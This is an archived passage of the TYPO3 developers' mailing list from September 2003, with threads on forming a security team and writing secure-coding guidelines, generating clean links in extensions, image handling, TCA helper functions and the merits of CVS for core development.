(=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Thu, 25 Sep 2003 16:44:14 +0200 Subject: [Typo3-dev] typo3 security team In-Reply-To: References: Message-ID: > > How about a typo3 security team. Maybe it should be an integrated part of > > the upcomming extension review process too. > You are perfectly right. Now, the good news is that the ideas you have will > be a part of the extension review process and are already described in a, > not yet published, document called 'Extension Review Guidelines'. It might not be bad to have an additional document which describes how to write safe plugins/code or the other way around to show how it is wrong. Even if I'm a extension reviewer I'm not really into security issues and would like to read such a document. So Martin, do you volunteer to start such a document? :-) Ren? -- COLORCUBE digital media lab www.colorcube.de From peter.russ at 4dfx.de Thu Sep 25 17:16:34 2003 From: peter.russ at 4dfx.de (Peter Russ) Date: Thu, 25 Sep 2003 17:16:34 +0200 Subject: [Typo3-dev] typo3 security team In-Reply-To: References: Message-ID: Ren? Fritz schrieb: [...] > It might not be bad to have an additional document which describes how to > write safe plugins/code or the other way around to show how it is wrong. > > Even if I'm a extension reviewer I'm not really into security issues and would > like to read such a document. > > So Martin, do you volunteer to start such a document? :-) > > Ren? This might be a very difficult project. What is safe or unsecure? I believe it always depends on the enviroment and requirement. Examples: A knife in my hand might be safe as I intend to slice bread. But becames pretty dangerous for a chicken when it comes too close. So making the knife safe for the chicken is making the knife worthless for slicing bread! Offering an extension to backup the typo installation always includes the risk that someone might steal your password using your extension directly or slightly altered. So which level of security is required? Is always depends on the circumstances. Gruss. Peter. From r.fritz at colorcube.de Thu Sep 25 18:22:05 2003 From: r.fritz at colorcube.de (=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Thu, 25 Sep 2003 18:22:05 +0200 Subject: [Typo3-dev] typo3 security team In-Reply-To: References: Message-ID: > > It might not be bad to have an additional document which describes how to > > write safe plugins/code or the other way around to show how it is wrong. > This might be a very difficult project. > What is safe or unsecure? I disagree here. There are a few things you can do to make code more safe. For example output non-HTML content with htmlspecialchars() which is first of all a good thing to do anyways and second it deactivates javascript which shouldn't be there. That document can describe some problems which occurs more often in web applications and how to deal with them. Ren? -- COLORCUBE digital media lab www.colorcube.de From patrick.gaumond at fsa.ulaval.ca Thu Sep 25 20:07:31 2003 From: patrick.gaumond at fsa.ulaval.ca (Patrick Gaumond) Date: Thu, 25 Sep 2003 14:07:31 -0400 Subject: [Typo3-dev] typo3 security team References: Message-ID: You probalby know these sources but just in case... OWASP Guide: http://www.owasp.org/documentation/guide Or if in a hurry there's the "Top Ten Web Application Vulnerabilities" http://www.owasp.org/documentation/topten Or Top 10 for PHP http://www.sklar.com/page/article/owasp-top-ten Patrick From mascht at hotmail.com Fri Sep 26 03:23:10 2003 From: mascht at hotmail.com (Martin Klaus) Date: Fri, 26 Sep 2003 03:23:10 +0200 Subject: [Typo3-dev] typo3 security team References: Message-ID: hi list, hi Ren?, Peter, Andreas and Patrick >There are a few things you can do to make code more safe. For example output >non-HTML content with htmlspecialchars() which is first of all a good thing >to do anyways and second it deactivates javascript which shouldn't be there. >That document can describe some problems which occurs more often in web >applications and how to deal with them. Yes it's true, that 100% security isn't possible. But i'm very sure too, that you can avoid the most common (and exploited) security issues, if you follow some coding guidlines. And beginners should get the feeling, which things could be possible harmful or lead to a severe security risk. (i think the key is to always have security in mind, when coding extensions, and mybe that is what we should try to achieve) >So Martin, do you volunteer to start such a document? :-) Ren?, yes i would like to help writing such a document. But i don't have so much time in the moment. So I really need some help! (my english isn't that good either, but I think most of you are from Germany, so translation shouldn't be a problem) As base information for our coding guidelines we could use the top ten WebApplication- and PHP- Security Vulnerability lists (thanks Patrick) and an articel in c't magazine (i can mail it to you, if interested) in german language. Does anybody wants to do some websearch in that direction? I'm very sure there are many security related coding-guidline documents already out there. Would you prefer to have a "standalone" Document? Or do you think it would be a good idea to integrate the information in the "extension review document" and the "inside Typo3 document"? kindly regards, Martin From sachav at gmx.net Fri Sep 26 06:54:34 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Fri, 26 Sep 2003 06:54:34 +0200 Subject: [Typo3-dev] clean typo-link function Message-ID: Hi, I`m trying to write a function that generates clean typo links in extensions. I want to use it with tt_products (replacement for getLinkUrl). I`ve read Luites FAQs on typo3.org but I couldn`t get his function to work + it was missing some features so I decided to write my own function. Could you please have a look at it and tell me how to make this function or Luites function work as a replacement for the old getLinkUrl function in tt_products? Here`s my try: http://www.wunderkessel.de/download/linkgen.txt -- thank you - all the best, Sacha From kasper at typo3.com Fri Sep 26 09:17:31 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Fri, 26 Sep 2003 09:17:31 +0200 Subject: [Typo3-dev] typo3 security team In-Reply-To: References: Message-ID: >It would be a great benefit to check at least for the very well known >security problems known in web appliaction coding (sql-statement >vulnerability, cross side scripting, not checking user input generally >before save it to database... and so on) > >kaspar what do you think about that idea? Good idea. We need some volunteers then and basically a team leader to start the process. I will put it in the jobs-to-do document. - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From hoang at planb-media.de Fri Sep 26 10:08:48 2003 From: hoang at planb-media.de (Chi Hoang) Date: Fri, 26 Sep 2003 10:08:48 +0200 Subject: [Typo3-dev] Re: AW: [Typo3-metadev] Re: BE user IP locking / additional note on FE-created CE's? References: Message-ID: Kasper Sk?rh?j wrote: > And may I point everyones attension to the Cross Site Scripting (XSS) > seciton which has already been written in one of the TYPO3 documents > (Coding Guidelines I think it was...) Hi Kaspar, I wrote you a mail from my mail account chibo at gmx.de, please check your mailbox. Urgent! Greets, Chi From cr at iprod.auc.dk Fri Sep 26 11:23:14 2003 From: cr at iprod.auc.dk (Christian Rasmussen) Date: Fri, 26 Sep 2003 11:23:14 +0200 Subject: [Typo3-dev] inserting data in more than one table at the same time In-Reply-To: Message-ID: Hi, I am building an extension, where data is split up in several tables. If I were to build an update page it would seem reasonable to create one page which updates several pages in one submit-click. I Just dont know how to do this in TYPO3. As far as I know I have to update the tables one at a time, first create categories, and then when creating the "main record" I can choose the category from the relation. How do I update all tables on the same from the same page ? is that possible ? on beforehand thank you for any suggestions... regards, Christian Rasmussen From dan at danfrost.co.uk Fri Sep 26 12:19:41 2003 From: dan at danfrost.co.uk (dan frost) Date: Fri, 26 Sep 2003 11:19:41 +0100 Subject: [Typo3-dev] Weird domain access problem Message-ID: Thought I'd pick your brains: I have a server which has 5 or 6 domains on (RH9, Apache, MySQL etc; uses Plesk server admin to control most things) - I can only "see" pages on any of the domains from some places. We can see them in our building, and some people can see them from home - but not everyone. If anyone has any ideas, please advise. dan From peter.russ at 4dfx.de Fri Sep 26 13:08:52 2003 From: peter.russ at 4dfx.de (Peter Russ) Date: Fri, 26 Sep 2003 13:08:52 +0200 Subject: [Typo3-dev] Weird domain access problem In-Reply-To: References: Message-ID: dan frost schrieb: > Thought I'd pick your brains: > > I have a server which has 5 or 6 domains on (RH9, Apache, MySQL etc; > uses Plesk server admin to control most things) - I can only "see" pages > on any of the domains from some places. We can see them in our building, > and some people can see them from home - but not everyone. > > If anyone has any ideas, please advise. RH with Apache 2.x or 1.3.x? I had problems when I upgraded a server from RH 6.x to 9 and switch to Apache 2.x. After "downgrading" to Debian ;) and Apache 1.3.x everything was and worked as expected. Apache 2.x support from PHP is more or less experimental. Regs. Peter. www.4dfx.de From dom at 3ev.com Fri Sep 26 14:14:00 2003 From: dom at 3ev.com (Dominic Stockdale) Date: Fri, 26 Sep 2003 13:14:00 +0100 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Sacha Vorbeck wrote: > Hi, > > I`m trying to write a function that generates clean typo links in > extensions. I want to use it with tt_products (replacement for > getLinkUrl). I`ve read Luites FAQs on typo3.org but I couldn`t get his > function to work + it was missing some features so I decided to write my > own function. > > Could you please have a look at it and tell me how to make this function > or Luites function work as a replacement for the old getLinkUrl function > in tt_products? > > Here`s my try: > > http://www.wunderkessel.de/download/linkgen.txt > pi_getPageLink($this->$var_with_the_uid_in,"",""); is one pretty good function for giving you clean links have a look in class.tslib_pibase.php From rl at robertlemke.de Fri Sep 26 20:58:01 2003 From: rl at robertlemke.de (Robert Lemke) Date: Fri, 26 Sep 2003 20:58:01 +0200 Subject: [Typo3-dev] Weird domain access problem References: Message-ID: dan frost wrote: > Thought I'd pick your brains: > > I have a server which has 5 or 6 domains on (RH9, Apache, MySQL etc; > uses Plesk server admin to control most things) - I can only "see" > pages on any of the domains from some places. We can see them in our > building, and some people can see them from home - but not everyone. BTW: Although you're a developer, this shouldn't be in the dev list ... -- robert From v.anisimov at almeo.com Sun Sep 28 12:19:32 2003 From: v.anisimov at almeo.com (Vyacheslav V. Anisimov) Date: Sun, 28 Sep 2003 16:19:32 +0600 Subject: [Typo3-dev] API documentation References: Message-ID: Hello. A CHM-compilation of that apidoc is available on: http://www.almeo.com/fileadmin/chm/t3apidoc.chm -- Vyacheslav. "Andreas Otto" wrote in message news:mailman.1064433784.24090.typo3-dev at lists.netfielders.de... > Hi, > > I just had phpdoc run through t3lib and tslib to create an overview of the > TYPO3 API. > > For those who are interested in the results they can be viewed at > . > > > Cheers, > Andreas > > -- > Andreas Otto > Using PHP on Windows? www.php4win.de > > From luite at aegee.org Sun Sep 28 21:54:08 2003 From: luite at aegee.org (Luite van Zelst) Date: Sun, 28 Sep 2003 21:54:08 +0200 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Hi Sacha, >> I`m trying to write a function that generates clean typo links in >> extensions. I want to use it with tt_products (replacement for >> getLinkUrl). I`ve read Luites FAQs on typo3.org but I couldn`t get his >> function to work + it was missing some features so I decided to write >> my own function. >> >> Could you please have a look at it and tell me how to make this >> function or Luites function work as a replacement for the old >> getLinkUrl function in tt_products? >> >> Here`s my try: >> >> http://www.wunderkessel.de/download/linkgen.txt >> > > pi_getPageLink($this->$var_with_the_uid_in,"",""); > > is one pretty good function for giving you clean links have a look in > class.tslib_pibase.php yes, it probably is. but it all depends on what "featurs" you want for your function. some questions first: *) where is is function being called from? an extension (extends tslib_pibase)? If so, why instantiate a new cobj, and not use $this->cObj *) why use "current" if you set it first, in stead of setting the parameter directly? *)what do you mean with "create only pagename with parameters"? *) what other features / what do you mean by "don't get it to work", I mean: what output do you get then? *) if this is for an extension, why not use $this->piVars (which corresponds to (more or less) array_merge($_POST['your_ext_pi1'], $_GET['your_ext_pi1']) and thus to etc) putting *all* the post and get variables to create the links seems a bit drastic. furthermore, if a parameter is in both get and post, it's added twice. I'd merge the arrays first, and then do one loop for both. cherio, Luite From luite at aegee.org Mon Sep 29 13:48:55 2003 From: luite at aegee.org (Luite van Zelst) Date: Mon, 29 Sep 2003 13:48:55 +0200 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? In-Reply-To: References: Message-ID: > Thanks Jan. I've got it working with some very messy expressions, I > can't help thinking that there must be a cleaner way. I looked at using > IMG_RESOURCE in the typoscript but it doesn't seem to offer any sizing. > > Anyway as it all works now I'll come back and clean it up later. it all depends on what you want to do! here is a direct approach: require_once (PATH_t3lib . 'class.t3lib_stdgraphic.php'); //require_once (PATH_site . 'tslib/class.tslib_gifbuilder.php'); //instantiate either one, depending on if you want a gifbuilder. $imageObj = t3lib_div::makeInstance('t3lib_stdgraphic'); // call init $imageObj->init(); // set temp path $stdgraphic->tempPath = PATH_site . $stdgraphic->tempPath; // example: scale down an image: $icon = $stdgraphic->imageMagickConvert($imgpath,NULL,NULL, NULL,NULL,NULL,array('maxH'=> '18', 'maxW' => '18')); so for this direct approach you'll have to browse through t3lib_stdgraphic or tslib_gifbuilder to see what function fit your need. regards, Luite From ingmars at web.de Mon Sep 29 15:05:42 2003 From: ingmars at web.de (Ingmar Schlecht) Date: Mon, 29 Sep 2003 15:05:42 +0200 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? In-Reply-To: References: Message-ID: Dominic Stockdale wrote: > Thanks Jan. I've got it working with some very messy expressions, I > can't help thinking that there must be a cleaner way. I looked at using > IMG_RESOURCE in the typoscript but it doesn't seem to offer any sizing. It seems like I don't see the problem... Why not just like this: $conf = array( 'file' => 'asdf.gif', 'file.' => array( 'width' => '200' ), ); $fileName = $this->cObj->IMG_RESOURCE($conf); - Ingmar From dom at 3ev.com Mon Sep 29 15:31:03 2003 From: dom at 3ev.com (Dominic Stockdale) Date: Mon, 29 Sep 2003 14:31:03 +0100 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? In-Reply-To: References: Message-ID: > It seems like I don't see the problem... > > Why not just like this: > > $conf = array( > 'file' => 'asdf.gif', > 'file.' => array( > 'width' => '200' > ), > ); > > $fileName = $this->cObj->IMG_RESOURCE($conf); > > - Ingmar > Your right Ingmar. I had it working in any case with some messy regex using blah blah ->IMAGE($conf); I just overlooked IMG_RESOURCE but found it after I'd build the extension and tidied it up. Thanks anyway. From dom at 3ev.com Mon Sep 29 15:35:32 2003 From: dom at 3ev.com (Dominic Stockdale) Date: Mon, 29 Sep 2003 14:35:32 +0100 Subject: [Typo3-dev] $this->cObj->IMAGE without any html in it? In-Reply-To: References: Message-ID: Luite van Zelst wrote: >> Thanks Jan. I've got it working with some very messy expressions, I >> can't help thinking that there must be a cleaner way. I looked at >> using IMG_RESOURCE in the typoscript but it doesn't seem to offer any >> sizing. >> >> Anyway as it all works now I'll come back and clean it up later. > > > it all depends on what you want to do! here is a direct approach: > > require_once (PATH_t3lib . 'class.t3lib_stdgraphic.php'); > //require_once (PATH_site . 'tslib/class.tslib_gifbuilder.php'); > > //instantiate either one, depending on if you want a gifbuilder. > $imageObj = t3lib_div::makeInstance('t3lib_stdgraphic'); > > // call init > $imageObj->init(); > > // set temp path > $stdgraphic->tempPath = PATH_site . $stdgraphic->tempPath; > > // example: scale down an image: > $icon = $stdgraphic->imageMagickConvert($imgpath,NULL,NULL, > NULL,NULL,NULL,array('maxH'=> '18', 'maxW' => '18')); > > so for this direct approach you'll have to browse through > t3lib_stdgraphic or tslib_gifbuilder to see what function fit your need. > > regards, Luite > > Thanks for the reply Luite. Although this extension is done and dusted I'll take a look through these classes. Cheers, Dom From je at hades.org Mon Sep 29 21:45:52 2003 From: je at hades.org (Jens Ellerbrock) Date: Mon, 29 Sep 2003 21:45:52 +0200 Subject: [Typo3-dev] How to get current BE user in a Tools Module Message-ID: Hi, How can i get the currently logged in BE user (and his default language) in a BE Tools Module ? Jens From je at hades.org Mon Sep 29 22:04:14 2003 From: je at hades.org (Jens Ellerbrock) Date: Mon, 29 Sep 2003 22:04:14 +0200 Subject: [Typo3-dev] How to get current BE user in a Tools Module References: Message-ID: Jens Ellerbrock wrote: > How can i get the currently logged in BE user (and his default > language) in a BE Tools Module ? Hmm, why do you always find out things only minutes after asking the group... If i understood it right i get a cookie "be_typo_user" that i can check for in the be_sessions table and get the user id. Jens From sachav at gmx.net Tue Sep 30 02:19:40 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Tue, 30 Sep 2003 02:19:40 +0200 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Hi Luite, > *) what other features / what do you mean by "don't get it to work", I > mean: what output do you get then? I copied your function into the class.tx_ttproducts.php and now my main problem is the product list. To create the links to the products with your function I somehow have to pass the ID of the detail-view page and the product ID to your function: $test1 = $this->get_url(testlink,array('id'=>$this->conf['PIDitemDisplay'],'tt_products'=>$row['uid'])); This function call will generate the following link: http://euregio-gundogs.com/index.php?id=73&L=0&tx_ttproducts[0]=67&tx_ttproducts[id]=67&tx_ttproducts[tt_products]=43 but it should be: http://euregio-gundogs.com/index.php?id=67&backPID=73&tt_products=43 I seem to be to stupid to call your function the right way. -- Ciao, Sacha From pn at kreativwert.de Tue Sep 30 08:30:05 2003 From: pn at kreativwert.de (Peter Niederlag) Date: Tue, 30 Sep 2003 08:30:05 +0200 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Hi Sascha, Sacha Vorbeck schrieb : I am using the stuff Luite(?) and Joh(?) posted in one of the threads regarding this topic. It works nicely so far and is pretty much what Luite told here also. > Hi Luite, > > > *) what other features / what do you mean by "don't get it to work", > > I mean: what output do you get then? > > I copied your function into the class.tx_ttproducts.php and now my > main problem is the product list. > > To create the links to the products with your function I somehow have > to pass the ID of the detail-view page and the product ID to your > function: > > $test1 = > $this->get_url(testlink,array('id'=>$this->conf['PIDitemDisplay'],'tt > _products'=>$row['uid'])); > > This function call will generate the following link: > http://euregio-gundogs.com/index.php?id=73&L=0&tx_ttproducts[0]=67&tx_ttproducts[id]=67&tx_ttproducts[tt_products]=43 1) well since you call it with id=>$this->conf['PIDitemDisplay'] it will link to the detail page of tt_products. You probably rather want the the backPID here. Dont know how to get that but it shoukld at least be in the HTTP_REFERER but looks like it is in tt _products=>$row['uid'] somewhere also. 2) You have the problem that get_url uses $piVars[$this->prefixId.'[$key']] which is correct for most modern extensions since they prepare/expect there piVars in an array myext["var1"], myext["var2"]. But that is not the case for tt_products! So you need to find the line in your code which puts that "prefix" in there. Maybe you have to call get_url not with ...tt _products=>$row['uid'] but somehow with 'backPid' and 'tt_products'. Be patient. Everything is there and prepared, it is just not put together correctly yet. > but it should be: > http://euregio-gundogs.com/index.php?id=67&backPID=73&tt_products=43 So basicly you need to modify the name of the vars, values are all there. This is what I use, derived/copied from the mailarchive: function get_url($tag = '', $vars = array(), $unsetVars=array(), $usePiVars = true, $target = ''){ //debug($target); if(!$target && $this->internal["target"]) { $target = $this->internal["target"]; } $vars = (array)$vars; //debug ($vars); $unsetVars = (array)$unsetVars; //debug($unsetVars); if($usePiVars) { $vars = array_merge($this->piVars, $vars); //vars override pivars while(list(,$key) = each($unsetVars)){ // unsetvars override anything unset($vars[$key]); } } while(list($key,$val) = each($vars)) { $piVars[$this->prefixId . '['. $key . ']'] = $val; } if($tag) { return $this->cObj->getTypoLink($tag,$GLOBALS["TSFE"]->id,$piVars,$target); } else { return $this->cObj->getTypoLink_URL($GLOBALS["TSFE"]->id,$piVars,$target); } } } hth, PeterN P.S.: Maybe put up your get_url function somewhere so we can have a look at it, or are you calling ->getTypoLink straight away? -- Peter Niederlag http://www.ikd01.de * Information Kommunikation Design * http://www.clown-goli.de * Clown-Comedy-Jonglage-Animation * From kasper at typo3.com Tue Sep 30 08:49:16 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Tue, 30 Sep 2003 08:49:16 +0200 Subject: [Typo3-dev] How to get current BE user in a Tools Module In-Reply-To: References: Message-ID: Please just use $GLOBALS["BE_USER"]->user["uid"] God bless - kasper *********** REPLY SEPARATOR *********** On 29-09-2003 at 22:04 Jens Ellerbrock wrote: >Jens Ellerbrock wrote: >> How can i get the currently logged in BE user (and his default >> language) in a BE Tools Module ? > >Hmm, why do you always find out things only minutes after asking the >group... >If i understood it right i get a cookie "be_typo_user" that i can check for >in the be_sessions table and get the user id. > >Jens > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From luite at aegee.org Tue Sep 30 12:37:34 2003 From: luite at aegee.org (Luite van Zelst) Date: Tue, 30 Sep 2003 12:37:34 +0200 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Hi again, >>$test1 = >>$this->get_url(testlink,array('id'=>$this->conf['PIDitemDisplay'],'tt >>_products'=>$row['uid'])); >> >>This function call will generate the following link: >>http://euregio-gundogs.com/index.php?id=73&L=0&tx_ttproducts[0]=67&tx_ttproducts[id]=67&tx_ttproducts[tt_products]=43 the get_url function in the faq is designed to create links to the same page (without passing the page id to the function!) and, as Peter says, to use an array of settings. so what you are looking for is something different. >>but it should be: >>http://euregio-gundogs.com/index.php?id=67&backPID=73&tt_products=43 > > > So basicly you need to modify the name of the vars, values are all > there. go with Peter's advise, rewrite the function and post it. we'll have a look. Luite From steenbuck at ticcon.de Tue Sep 30 14:16:49 2003 From: steenbuck at ticcon.de (Jan Steenbuck) Date: Tue, 30 Sep 2003 14:16:49 +0200 Subject: [Typo3-dev] Wrapping a link in an extension Message-ID: Friends, romans, countrymen, I need a hint. I'm stuck. We are trying to write our first extension, and we so far failed to get a link therein to work. Our PHP-Knowledge is still quite basic, but improving, and we have one of our programmers at our side (he knows PHP, but doesn't know Typo3 yet...). We have read, we have collected, we have digested, and here's what we have accomplished so far. Inserting Headline, Content and Image work just fine, but now we need to put a link on that image (just like in the general content type 'image'). The marker ###Links### is correctly filled with the content from ?link, but no other parameters are passed along (no 'http://' or 'mailto:' etc). Does anyone have a clue that could help us along? Here's the code: ----->8 snip, snip 8<----- <<<<<<< PHP: >>>>>>> class tx_newsboxentest_pi1 extends tslib_pibase { var $prefixId = "tx_newsboxentest_pi1"; // Same as class name var $scriptRelPath = "pi1/class.tx_newsboxentest_pi1.php"; // Path to this script relative to the extension dir. var $extKey = "newsboxentest"; // The extension key. var $conf; var $templateCode; function main($content,$conf) { $this->conf=$conf; $this->pi_setPiVarDefaults(); $this->pi_loadLL(); // get the template $this->templateCode = $this->cObj->fileResource($this->conf["templateFile"]); // get the image $img = $this->conf["image."]; $img["file"] = "uploads/tx_newsboxentest/" . $this->cObj->data['tx_newsboxentest_image_tb']; // get the link $link = $this->cObj->data['tx_newsboxentest_link_tb']; // template is read. // get the specified layout out of the template $layout = $this->cObj->data['tx_newsboxentest']; switch ($layout) { default: $templateMarker = "###TEMPLATE_0###"; } $template = $this->cObj->getSubpart($this->templateCode, $templateMarker); $subpartArray = array(); $subpartArray["###SUBHEADER###"] = $this->cObj->data['subheader']; $subpartArray["###HEADLINE###"] = $this->cObj->parseFunc($this->cObj->data['tx_newsboxentest_headline_tb'], $this->conf["parser."]); $subpartArray["###CONTENT###"] = $this->cObj->parseFunc($this->cObj->data['tx_newsboxentest_content_tb'], $this->conf["parser."]); $subpartArray["###MORE###"] = $this->cObj->IMAGE($img); $subpartArray["###LINKS###"] = $this->cObj->typoLink($link,$this->conf); $content = $this->cObj->substituteMarkerArrayCached($template, $subpartArray, array(), array()); return $this->pi_wrapInBaseClass($content); } } <<<<<<< ...and in the template: >>>>>>> ###MORE###" ----->8 snip, snip 8<----- Thanks a million in advance! Kind regards from the far north of Germany (almost Denmark... ), Jan Steenbuck Ticcon AG ? www.ticcon.de -------------------------- Flensburg ? Kiel ? Hamburg -- Hafendamm 33a, 24937 Flensburg Tel.: (0461) 15054-0, Fax: (0461) 15054-11 eMail: steenbuck at ticcon.de From Martin.T.Kutschker at blackbox.net Tue Sep 30 15:26:09 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Tue, 30 Sep 2003 15:26:09 +0200 (METDST) Subject: [Typo3-dev] t3lib_extMgm::addToTCAtypes ? Message-ID: Hi! I can easily add a field to all pages. How about adding this method? function addToTCAtypes($table,$types,$str) { global $TCA; $str = trim($str); t3lib_div::loadTCA($table); if ($str && is_array($TCA[$table]) && is_array($TCA[$table]['types'])) { reset($TCA[$table]['types']); $types = split(',',$types); while(list(,$v)=each($types)) { $TCA[$table]['types'][$v]['showitem'].=', '.$str; } } } Of course it would be nice if the Extension Kickstarter had an option to restrict a new field to specific (page) types. Masi From sachav at gmx.net Tue Sep 30 16:30:19 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Tue, 30 Sep 2003 16:30:19 +0200 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Hi Peter, > well since you call it with id=>$this->conf['PIDitemDisplay'] it will > link to the detail page of tt_products. You probably rather want the the > backPID here. Dont know how to get that but it shoukld at least be in > the HTTP_REFERER but looks like it is in tt _products=>$row['uid'] > somewhere also. no, I really want the PIDitemDisplay to be the target of the link. The intention of the links in the product-list is to call the product-detail page whose id is stored in PIDitemDisplay. > which puts that "prefix" in there. Maybe you have to call get_url not > with ...tt _products=>$row['uid'] but somehow with 'backPid' and > 'tt_products'. I think I need to pass all 3 variables to the functions as the product-detail page exptects the parameters tt_products _and_ backPID. The third variable passed to the get_url function is PIDitemDisplay as the target of the page should be the product-detail page and not the product list. > Be patient. Everything is there and prepared, it is just not put > together correctly yet. ACK > P.S.: Maybe put up your get_url function somewhere so we can have a look > at it, or are you calling ->getTypoLink straight away? nope, here is the modified tt_products class. The get_url function call is on line 581: http://lists.unlimitedvision.de/typo3/class.tx_ttproducts.phps You can see the result here: http://euregio-gundogs.com/apporteren.73.0.html -- Ciao, Sacha From sachav at gmx.net Tue Sep 30 16:32:07 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Tue, 30 Sep 2003 16:32:07 +0200 Subject: [Typo3-dev] clean typo-link function In-Reply-To: References: Message-ID: Hi Luite, > the get_url function in the faq is designed to create links to the same > page (without passing the page id to the function!) and, as Peter says, > to use an array of settings. so what you are looking for is something > different. OK. I thought I could pass the target id via vars somehow. But that doesn`t make sense. > go with Peter's advise, rewrite the function and post it. we'll have a > look. see above. -- thank you - all the best, Sacha From kasper at typo3.com Tue Sep 30 17:58:13 2003 From: kasper at typo3.com (=?ISO-8859-1?B?Ikthc3BlciBTa+VyaPhqIg==?=) Date: Tue, 30 Sep 2003 17:58:13 +0200 Subject: [Typo3-dev] t3lib_extMgm::addToTCAtypes ? In-Reply-To: References: Message-ID: OK, done God bless - kasper *********** REPLY SEPARATOR *********** On 30-09-2003 at 15:26 Martin Kutschker wrote: >Hi! > >I can easily add a field to all pages. How about adding this method? > >function addToTCAtypes($table,$types,$str) { >global $TCA; >$str = trim($str); >t3lib_div::loadTCA($table); >if ($str && is_array($TCA[$table]) && >is_array($TCA[$table]['types'])) { >reset($TCA[$table]['types']); >$types = split(',',$types); >while(list(,$v)=each($types)) { >$TCA[$table]['types'][$v]['showitem'].=', '.$str; >} >} >} > >Of course it would be nice if the Extension Kickstarter had an option to >restrict a new field to specific (page) types. > >Masi > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From kasper at typo3.com Tue Sep 30 18:11:18 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Tue, 30 Sep 2003 18:11:18 +0200 Subject: [Typo3-dev] CVS question, was t3lib_extMgm::addToTCAtypes ? References: <200309301758130750.0017FE3B@130.228.0.33> Message-ID: In fact, I ended up just adding a paramter to the existing function which now looks like this: /** * Makes fields visible on the form, adding them to the end. * * Adds a string $str (comma list of field names) to all ["types"][xxx]["showitem"] entries for table $table (unless limited by $specificTypesList) * This is needed to have new fields shown automatically in the TCEFORMS of a record from $table. * Typically this function is called after having added new columns (database fields) with the addTCAcolumns function * FOR USE IN ext_tables.php FILES * * @param string Table name * @param string Field list to add. * @param string List of specific types to add the field list to. (If empty, all type entries are affected) * @return void */ function addToAllTCAtypes($table,$str,$specificTypesList='') { global $TCA; t3lib_div::loadTCA($table); if (trim($str) && is_array($TCA[$table]) && is_array($TCA[$table]['types'])) { foreach($TCA[$table]['types'] as $k => $v) { if (!$specificTypesList || t3lib_div::inList($specificTypesList,$k)) $TCA[$table]['types'][$k]['showitem'].=', '.trim($str); } } } BTw, this is a good example of how a suggestion improves TYPO3 BUT MUST BE REVIEWED by me - if martin had CVS access to the source and could make this addition himself it would add an unnecessary functions to TYPO3 rather than changing an existing. I'm not saying this to point out martin as a bad coder at all, please notice that. My only point is that this is a very very common example of how good suggestions can be made better and needs my review when they go into the core. Question: Under the demand that I would require to do the implementation of martins suggestion as above, how could CVS in any way help us? I can only see that as a road block since the code must pass through my eyes anyways! God bless - kasper *********** REPLY SEPARATOR *********** On 30-09-2003 at 15:26 Martin Kutschker wrote: >Hi! > >I can easily add a field to all pages. How about adding this method? > >function addToTCAtypes($table,$types,$str) { >global $TCA; >$str = trim($str); >t3lib_div::loadTCA($table); >if ($str && is_array($TCA[$table]) && >is_array($TCA[$table]['types'])) { >reset($TCA[$table]['types']); >$types = split(',',$types); >while(list(,$v)=each($types)) { >$TCA[$table]['types'][$v]['showitem'].=', '.$str; >} >} >} > >Of course it would be nice if the Extension Kickstarter had an option to >restrict a new field to specific (page) types. > >Masi > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From mundaun at gmx.ch Tue Sep 30 21:43:17 2003 From: mundaun at gmx.ch (Michael Stucki) Date: Tue, 30 Sep 2003 21:43:17 +0200 Subject: [Typo3-dev] CVS question, was t3lib_extMgm::addToTCAtypes ? References: <200309301758130750.0017FE3B@130.228.0.33> Message-ID: "Kasper Sk?rh?j" wrote: > BTw, this is a good example of how a suggestion improves TYPO3 BUT MUST BE > REVIEWED by me - if martin had CVS access to the source and could make > this addition himself it would add an unnecessary functions to TYPO3 > rather than changing an existing. I'm not saying this to point out martin > as a bad coder at all, please notice that. My only point is that this is a > very very common example of how good suggestions can be made better and > needs my review when they go into the core. I agree! But... > Question: Under the demand that I would require to do the implementation > of martins suggestion as above, how could CVS in any way help us? I can > only see that as a road block since the code must pass through my eyes > anyways! I think it's just like Linux development. Every code change is revisited by Linus Thorvalds (right?). Although the Kernel hackers don't use CVS, they use afaik a tool named Bitkeeper (which is not the same but still very similar to CVS). These are some advantages I see in CVS: - Who says that the suggestion will be the definitive code just after it has been added? - Other people could look at the code and improve it _before_ you look at it. This can save you a lot of time, and it could (just in theory ;-)) be the same case with code from you as well... - Code versioning => better control at all! - People who want to fix a bug could easily check if the issue was already solved. - ... (I'm sure there are many other reasons) Regards, michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From je 